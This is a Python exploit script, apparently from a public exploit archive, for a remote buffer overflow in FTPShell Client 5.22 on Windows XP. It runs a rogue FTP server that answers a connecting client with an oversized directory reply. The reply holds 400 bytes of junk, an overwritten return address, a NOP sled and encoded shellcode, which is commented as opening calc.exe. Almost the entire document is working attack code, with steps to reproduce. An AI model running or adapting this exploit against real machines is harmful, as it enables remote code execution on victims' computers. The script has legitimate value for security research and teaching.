#!/usr/bin/python
  
# Exploit Title     : FTPShell Client 5.22 - Remote Buffer Overflow  
# Discovery by      : Shubham Singh
# Known As          : Spirited Wolf [Twitter: @Pwsecspirit]
# Email             : spiritedwolf@protonmail.com
# Youtube Channel   : www.youtube.com/c/Pentestingwithspirit 
# Discovey Date    : 17/07/2018
# Software Link     : https://ftpshell-client.soft32.com/
# Tested Version    : 5.22
# Tested on OS      : Windows XP Service Pack 3 x86
# Steps to Reproduce: Run the python script to start the exploit on your favourite port number and then open FTPShell Client 5.22 software , give your IP Address and port and click on connect.
# Greetz            : @hexachordanu @FuzzySec @LiveOverflow
import socket
import sys

port = 1337
junk = "A" * 400
#Badchars \x00\x0a\x0d\x22
#7CAD6A3E   55               PUSH EBP
eip = "\x3e\x6a\xad\x7c"        #!mona jmp -r ebp
nops = "\x90" * 20
#Shellcode: calc.exe 
shellcode = "\xb8\x01\xf9\x4b\x3e\xda\xd3\xd9\x74\x24\xf4\x5e\x29\xc9\xb1\x31\x83\xee\xfc\x31\x46\x0f\x03\x46\x0e\x1b\xbe\xc2\xf8\x59\x41\x3b\xf8\x3d\xcb\xde\xc9\x7d\xaf\xab\x79\x4e\xbb\xfe\x75\x25\xe9\xea\x0e\x4b\x26\x1c\xa7\xe6\x10\x13\x38\x5a\x60\x32\xba\xa1\xb5\x94\x83\x69\xc8\xd5\xc4\x94\x21\x87\x9d\xd3\x94\x38\xaa\xae\x24\xb2\xe0\x3f\x2d\x27\xb0\x3e\x1c\xf6\xcb\x18\xbe\xf8\x18\x11\xf7\xe2\x7d\x1c\x41\x98\xb5\xea\x50\x48\x84\x13\xfe\xb5\x29\xe6\xfe\xf2\x8d\x19\x75\x0b\xee\xa4\x8e\xc8\x8d\x72\x1a\xcb\x35\xf0\xbc\x37\xc4\xd5\x5b\xb3\xca\x92\x28\x9b\xce\x25\xfc\x97\xea\xae\x03\x78\x7b\xf4\x27\x5c\x20\xae\x46\xc5\x8c\x01\x76\x15\x6f\xfd\xd2\x5d\x9d\xea\x6e\x3c\xcb\xed\xfd\x3a\xb9\xee\xfd\x44\xed\x86\xcc\xcf\x62\xd0\xd0\x05\xc7\x2e\x9b\x04\x61\xa7\x42\xdd\x30\xaa\x74\x0b\x76\xd3\xf6\xbe\x06\x20\xe6\xca\x03\x6c\xa0\x27\x79\xfd\x45\x48\x2e\xfe\x4f\x2b\xb1\x6c\x13\x82\x54\x15\xb6\xda"
padding = "C" * (1000 - len(junk) - len(eip) -len(shellcode))
buffer = junk + eip + nops +  shellcode + padding

try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind(("0.0.0.0", port))
        s.listen(5)
        print("FTP server started on port: "+str(port)+"\r\n")
except:
        print("Failed to bind the server to port: "+str(port)+"\r\n")

while True:
    conn, addr = s.accept()
    conn.send('220 Welcome to your spirited wolf FTP server\r\n')
    print(conn.recv(1024))
    conn.send("331 OK\r\n")
    print(conn.recv(1024))
    conn.send('230 OK\r\n')
    print(conn.recv(1024))
    conn.send('220 "'+buffer+'" is current directory\r\n')